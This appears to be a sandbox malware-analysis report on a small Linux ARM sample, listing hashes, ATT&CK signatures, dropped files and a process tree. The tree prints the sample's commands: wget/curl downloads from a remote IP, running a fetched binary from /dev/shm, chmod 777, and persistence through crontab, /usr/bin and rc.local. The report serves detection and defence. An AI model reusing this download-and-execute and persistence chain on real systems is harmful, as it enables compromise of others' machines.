fb3a0612cac76db0c46463cd7310e23099c1b7bf124654ef8cd2a5cc02e7bc91

Analysis

max time kernel
143s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/10/2026, 22:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
32344b4b5100bb87793cda86c5ef47ff
Size 2KB
Sample261011-18c2yaaa45
SHA256 fb3a0612cac76db0c46463cd7310e23099c1b7bf124654ef8cd2a5cc02e7bc91
MD5 32344b4b5100bb87793cda86c5ef47ff
SHA1 6c565f3414e63c6464ee8b139368d3a7109946f1
SHA512 44f82a1d71627a0b3f83ee00129c68c8036c8b41b3985ef560a6164b7b1d118a866bbe4ba575ca23dafeebd0ce6e105ca92ce754c917cc91eb3a32a51ad1d618
TLSH
T16C51F8F1F8B89A78B8099438720E21A1CF435C3B99923884908BED70719C2ACF03DF31
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
675	chmod
680	chmod
798	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/.w	679	setsid
/dev/shm/.w	677	setsid
/dev/shm/.w	678	nohup
/dev/shm/.t	681	32344b4b5100bb87793cda86c5ef47ff
/dev/shm/.e	799	32344b4b5100bb87793cda86c5ef47ff

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.RFh9in	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	32344b4b5100bb87793cda86c5ef47ff

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/.e	cp

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/641/stat	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/223/stat	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/108/stat	ps
File opened for reading	/proc/299/stat	ps
File opened for reading	/proc/317/status	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/43/stat	ps
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/297/cmdline	ps
File opened for reading	/proc/632/stat	ps
File opened for reading	/proc/640/status	ps
File opened for reading	/proc/642/cmdline	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/277/cmdline	ps
File opened for reading	/proc/579/status	ps
File opened for reading	/proc/580/cmdline	ps
File opened for reading	/proc/590/stat	ps
File opened for reading	/proc/644/stat	ps
File opened for reading	/proc/697/cmdline	ps
File opened for reading	/proc/779/cmdline	ps
File opened for reading	/proc/299/cmdline	ps
File opened for reading	/proc/697/status	ps
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/633/stat	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/293/stat	ps
File opened for reading	/proc/297/status	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/28/status	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/43/cmdline	ps
File opened for reading	/proc/580/status	ps
File opened for reading	/proc/677/cmdline	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/42/status	ps
File opened for reading	/proc/105/stat	ps
File opened for reading	/proc/108/status	ps
File opened for reading	/proc/168/cmdline	ps
File opened for reading	/proc/301/cmdline	ps
File opened for reading	/proc/678/stat	ps
File opened for reading	/proc/678/status	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/4/stat	ps
File opened for reading	/proc/158/stat	ps
File opened for reading	/proc/590/status	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/18/cmdline	ps
File opened for reading	/proc/223/status	ps
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/589/stat	ps

Writes file to shm directory 4 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.t	32344b4b5100bb87793cda86c5ef47ff
File opened for modification	/dev/shm/.e	wget
File opened for modification	/dev/shm/.cr	32344b4b5100bb87793cda86c5ef47ff
File opened for modification	/dev/shm/.w	cp

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	busybox
File opened for modification	/tmp/.z	curl
File opened for modification	/tmp/.w	32344b4b5100bb87793cda86c5ef47ff
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget

/tmp/32344b4b5100bb87793cda86c5ef47ff
/tmp/32344b4b5100bb87793cda86c5ef47ff
1⤵
- Executes dropped EXE
- Modifies rc script
- Writes file to shm directory
- Writes file to tmp directory
PID:644
- /usr/bin/wget
  wget http://138.124.59.179/z -O .z
  2⤵
  - Writes file to tmp directory
  PID:647
- /bin/busybox
  busybox wget http://138.124.59.179/z -O .z
  2⤵
  - Writes file to tmp directory
  PID:668
- /usr/bin/curl
  curl -s http://138.124.59.179/z -o .z
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:673
- /bin/chmod
  chmod 777 .w
  2⤵
  - File and Directory Permissions Modification
  PID:675
- /bin/cp
  cp .w /dev/shm/.w
  2⤵
  - Writes file to shm directory
  PID:676
- /usr/bin/setsid
  setsid /dev/shm/.w
  2⤵
  - Executes dropped EXE
  PID:677
- /usr/bin/nohup
  nohup /dev/shm/.w
  2⤵
  - Executes dropped EXE
  PID:678
- /usr/bin/setsid
  setsid ./.w
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/chmod
  chmod 777 .t
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /dev/shm/.w
  /dev/shm/.w
  2⤵
  PID:677
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:682
- - /bin/sleep
    sleep 20
    3⤵
    PID:695
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:929
- - /bin/sleep
    sleep 20
    3⤵
    PID:932
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:944
- - /bin/sleep
    sleep 20
    3⤵
    PID:947
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:954
- - /bin/sleep
    sleep 20
    3⤵
    PID:956
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:970
- - /bin/sleep
    sleep 20
    3⤵
    PID:973
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:978
- - /bin/sleep
    sleep 20
    3⤵
    PID:981
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:988
- - /bin/sleep
    sleep 20
    3⤵
    PID:991
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:998
- - /bin/sleep
    sleep 20
    3⤵
    PID:1002
- /tmp/.w
  ./.w
  2⤵
  PID:679
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:683
- - /bin/sleep
    sleep 20
    3⤵
    PID:696
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:930
- - /bin/sleep
    sleep 20
    3⤵
    PID:933
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:943
- - /bin/sleep
    sleep 20
    3⤵
    PID:946
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:953
- - /bin/sleep
    sleep 20
    3⤵
    PID:957
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:969
- - /bin/sleep
    sleep 20
    3⤵
    PID:971
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:979
- - /bin/sleep
    sleep 20
    3⤵
    PID:983
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:990
- - /bin/sleep
    sleep 20
    3⤵
    PID:993
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1000
- - /bin/sleep
    sleep 20
    3⤵
    PID:1001
- /dev/shm/.w
  /dev/shm/.w
  2⤵
  PID:678
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:684
- - /bin/sleep
    sleep 20
    3⤵
    PID:697
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:931
- - /bin/sleep
    sleep 20
    3⤵
    PID:934
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:945
- - /bin/sleep
    sleep 20
    3⤵
    PID:948
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:955
- - /bin/sleep
    sleep 20
    3⤵
    PID:958
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:968
- - /bin/sleep
    sleep 20
    3⤵
    PID:972
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:980
- - /bin/sleep
    sleep 20
    3⤵
    PID:982
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:989
- - /bin/sleep
    sleep 20
    3⤵
    PID:992
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:999
- - /bin/sleep
    sleep 20
    3⤵
    PID:1003
- /dev/shm/.t
  ./.t
  2⤵
  PID:681
- /bin/rm
  rm -f .t
  2⤵
  PID:685
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:686
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:687
- /bin/readlink
  readlink /proc/105/exe
  2⤵
  PID:688
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:689
- /bin/readlink
  readlink /proc/108/exe
  2⤵
  PID:690
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:691
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:692
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:693
- /bin/readlink
  readlink /proc/135/exe
  2⤵
  PID:694
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:698
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:699
- /bin/readlink
  readlink /proc/140/exe
  2⤵
  PID:700
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:701
- /bin/readlink
  readlink /proc/158/exe
  2⤵
  PID:702
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:703
- /bin/readlink
  readlink /proc/168/exe
  2⤵
  PID:704
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:705
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:706
- /bin/readlink
  readlink /proc/185/exe
  2⤵
  PID:707
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:708
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:709
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:710
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:711
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:712
- /bin/readlink
  readlink /proc/223/exe
  2⤵
  PID:713
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:714
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:715
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:716
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:717
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:718
- /bin/readlink
  readlink /proc/277/exe
  2⤵
  PID:719
- /bin/readlink
  readlink /proc/279/exe
  2⤵
  PID:720
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:721
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:722
- /bin/readlink
  readlink /proc/293/exe
  2⤵
  PID:723
- /bin/readlink
  readlink /proc/297/exe
  2⤵
  PID:724
- /bin/readlink
  readlink /proc/299/exe
  2⤵
  PID:725
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:726
- /bin/readlink
  readlink /proc/301/exe
  2⤵
  PID:727
- /bin/readlink
  readlink /proc/317/exe
  2⤵
  PID:728
- /bin/readlink
  readlink /proc/319/exe
  2⤵
  PID:729
- /bin/readlink
  readlink /proc/337/exe
  2⤵
  PID:730
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:731
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:732
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:733
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:734
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:735
- /bin/readlink
  readlink /proc/565/exe
  2⤵
  PID:736
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:737
- /bin/readlink
  readlink /proc/580/exe
  2⤵
  PID:738
- /bin/readlink
  readlink /proc/589/exe
  2⤵
  PID:739
- /bin/readlink
  readlink /proc/590/exe
  2⤵
  PID:740
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:741
- /bin/readlink
  readlink /proc/632/exe
  2⤵
  PID:743
- /bin/readlink
  readlink /proc/633/exe
  2⤵
  PID:745
- /bin/readlink
  readlink /proc/635/exe
  2⤵
  PID:746
- /bin/readlink
  readlink /proc/640/exe
  2⤵
  PID:748
- /bin/readlink
  readlink /proc/641/exe
  2⤵
  PID:750
- /bin/readlink
  readlink /proc/642/exe
  2⤵
  PID:751
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:752
- /bin/readlink
  readlink /proc/648/exe
  2⤵
  PID:754
- /bin/readlink
  readlink /proc/656/exe
  2⤵
  PID:756
- /bin/readlink
  readlink /proc/671/exe
  2⤵
  PID:757
- /bin/readlink
  readlink /proc/677/exe
  2⤵
  PID:759
- /bin/readlink
  readlink /proc/678/exe
  2⤵
  PID:761
- /bin/readlink
  readlink /proc/679/exe
  2⤵
  PID:762
- /bin/readlink
  readlink /proc/682/exe
  2⤵
  PID:764
- /bin/readlink
  readlink /proc/683/exe
  2⤵
  PID:766
- /bin/readlink
  readlink /proc/684/exe
  2⤵
  PID:767
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:769
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:771
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:772
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:774
- /bin/readlink
  readlink /proc/98/exe
  2⤵
  PID:775
- /bin/grep
  grep -v grep
  2⤵
  PID:778
- /bin/grep
  grep "/[.]e "
  2⤵
  PID:779
- /bin/ps
  ps w
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:777
- /bin/uname
  uname -m
  2⤵
  PID:784
- /bin/rm
  rm -f .e
  2⤵
  PID:785
- /usr/bin/wget
  wget http://138.124.59.179/hb_arm -O .e
  2⤵
  - Writes file to shm directory
  PID:787
- /usr/bin/wc
  wc -c
  2⤵
  PID:796
- /bin/chmod
  chmod 777 .e
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /bin/sleep
  sleep 8
  2⤵
  PID:800
- /dev/shm/.e
  ./.e 138.124.59.179
  2⤵
  PID:799
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:852
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:853
- /bin/readlink
  readlink /proc/105/exe
  2⤵
  PID:854
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:855
- /bin/readlink
  readlink /proc/108/exe
  2⤵
  PID:856
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:857
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:858
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:859
- /bin/readlink
  readlink /proc/135/exe
  2⤵
  PID:860
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:861
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:862
- /bin/readlink
  readlink /proc/140/exe
  2⤵
  PID:863
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:864
- /bin/readlink
  readlink /proc/158/exe
  2⤵
  PID:865
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:866
- /bin/readlink
  readlink /proc/168/exe
  2⤵
  PID:867
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:868
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:869
- /bin/readlink
  readlink /proc/185/exe
  2⤵
  PID:870
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:871
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:872
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:873
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:874
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:875
- /bin/readlink
  readlink /proc/223/exe
  2⤵
  PID:876
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:877
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:878
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:879
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:880
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:881
- /bin/readlink
  readlink /proc/277/exe
  2⤵
  PID:882
- /bin/readlink
  readlink /proc/279/exe
  2⤵
  PID:883
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:884
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:885
- /bin/readlink
  readlink /proc/293/exe
  2⤵
  PID:886
- /bin/readlink
  readlink /proc/297/exe
  2⤵
  PID:887
- /bin/readlink
  readlink /proc/299/exe
  2⤵
  PID:888
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:889
- /bin/readlink
  readlink /proc/301/exe
  2⤵
  PID:890
- /bin/readlink
  readlink /proc/317/exe
  2⤵
  PID:891
- /bin/readlink
  readlink /proc/319/exe
  2⤵
  PID:892
- /bin/readlink
  readlink /proc/337/exe
  2⤵
  PID:893
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:894
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:895
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:896
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:897
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:898
- /bin/readlink
  readlink /proc/565/exe
  2⤵
  PID:899
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:900
- /bin/readlink
  readlink /proc/580/exe
  2⤵
  PID:901
- /bin/readlink
  readlink /proc/589/exe
  2⤵
  PID:902
- /bin/readlink
  readlink /proc/590/exe
  2⤵
  PID:903
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:904
- /bin/readlink
  readlink /proc/632/exe
  2⤵
  PID:905
- /bin/readlink
  readlink /proc/640/exe
  2⤵
  PID:906
- /bin/readlink
  readlink /proc/641/exe
  2⤵
  PID:907
- /bin/readlink
  readlink /proc/642/exe
  2⤵
  PID:908
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:909
- /bin/readlink
  readlink /proc/656/exe
  2⤵
  PID:910
- /bin/readlink
  readlink /proc/677/exe
  2⤵
  PID:911
- /bin/readlink
  readlink /proc/678/exe
  2⤵
  PID:912
- /bin/readlink
  readlink /proc/679/exe
  2⤵
  PID:913
- /bin/readlink
  readlink /proc/695/exe
  2⤵
  PID:914
- /bin/readlink
  readlink /proc/696/exe
  2⤵
  PID:915
- /bin/readlink
  readlink /proc/697/exe
  2⤵
  PID:916
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:917
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:918
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:919
- /bin/readlink
  readlink /proc/803/exe
  2⤵
  PID:920
- /bin/readlink
  readlink /proc/851/exe
  2⤵
  PID:921
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:922
- /bin/readlink
  readlink /proc/98/exe
  2⤵
  PID:923
- /bin/cp
  cp .e /usr/bin/.e
  2⤵
  - Write file to user bin folder
  PID:924
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:925
- /usr/bin/crontab
  crontab .cr
  2⤵
  - Creates/modifies Cron job
  PID:926

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.cr

Path /dev/shm/.cr
Size 41B
SHA256 056b86c29ac9ff4f4ec064a9b192a028d9239d6f0bd381bafb708d2ac7c5dc11
MD5 da081a7fb2abba5eaf318bdead339312
SHA1 9f1605e8feee013e62226235c476338f3e4fab2e
SHA512 8f5eaa4efb581d248f095d4f280f771dcc0947385c85a0ac31693bf56bd9f9eea8e619f18d3068a4aa5696f2d15809a537d20f52584cfbcbd3fa2e37bfcb485d
MD5 SHA1 SHA512

Submit Download

Path /dev/shm/.e
Size 16KB
SHA256 8f9499beb9afb7e89fb1e5cd686cd1746f02be0255dea724f958c554582c26d4
MD5 a0e5a9e6b65283261953f4123dc753a1
SHA1 67f5fe0caf5d59c994045ffc692aedc1f3a83671
SHA512 6a9c21a48a8edf2578d57893dbd9b35e610f4c943dd2aeaa70c2ae0b40776554ec0f932f0ab4d7ca87322d17c198a9f62271174d2dd71d961aba65915ab9a347
SSDEEP 192:6ovdNGzYQ3temKopqfgGpWtBJSQl/LQJ58nf5IGheK79TzNLHxTocf645spB7VWe:6ovCzYc4m3Ag1SQtQ5y6GhnTzvqTW9i
TLSH
T15572C6B6F980DA61C2D4217BF65E525D33230F79D6DA32019F24BE3067BF96A0E3A501
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /dev/shm/.t
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 29B
SHA256 e2b20fa565406cf29aa14fadf2e4cd3057ec064380a89978747c26f7bb40e290
MD5 12a0d933d141a6f5ebbf7f432920ac1f
SHA1 f67d3ab2909ab59e23248c5b51f4b6d84df1007a
SHA512 d351c1a8257326ebabaa3bedd0014db3f97586fbf0205cbde2ec205a778c8d8dcd9ccad1fb7acd23fa09398a28d8c6489f487be15b39f225a28a348ff7de19fb
MD5 SHA1 SHA512

Submit Download

Path /tmp/.w
Size 132B
SHA256 13e193b2029a67f96b06676bd88ae3d5fa288f8b3e80e74cfce46cae183b9d1e
MD5 c6439454981d708495cce0c1804acfdc
SHA1 037af79c7342f915d8564a32db75b4f9e57b5d60
SHA512 993b8e40ed7dd16f992932b5f9dc72cc1f920a826296318c3ae1d70b6ea9cee8a5978b8a34b6bbf6dab752d8b11f686283bcea422709da67ad931a85051f62b6
TLSH
T11FC08CEDE0008035CC84C7703094C418441841E218AD4EB98ED448A13828700B186BC8
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/.z
Size 3B
SHA256 dc51b8c96c2d745df3bd5590d990230a482fd247123599548e0632fdbf97fc22
MD5 eff5bc1ef8ec9d03e640fc4370f5eacd
SHA1 92a949fd41844e1bb8c6812cdea102708fde23a4
SHA512 672f8ff4ae8530de295f9dd963724947841e6277edec3b21820b5e44d0a64baef90fb04e22048028453d715f79357acc5bd2d566fe6ede65f981ba3dda06bae4
MD5 SHA1 SHA512

Submit Download

tmp.RFh9in

Path /var/spool/cron/crontabs/tmp.RFh9in
Size 218B
SHA256 03644d6dd591ca9d99c79a1d039e3f8822566d1f45f9e56a6a9c14361cb1464f
MD5 4f53bf87eeb3e59813c9b195256c2c10
SHA1 5a33ff1c249a43d36e11b96009e40535c8377321
SHA512 73967f7b7f30d8d44ea9557a50e2c11d725aafbab6510991f6317bffb29bef08cc104593cdee63b51c4543d01642678f010e293a9a1fb5d685dc114def29742c
TLSH
T1BBD0233D2B906C30754017A5725A052F5A43E078C46DCE11D1DD1014511D70B7FA1571
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads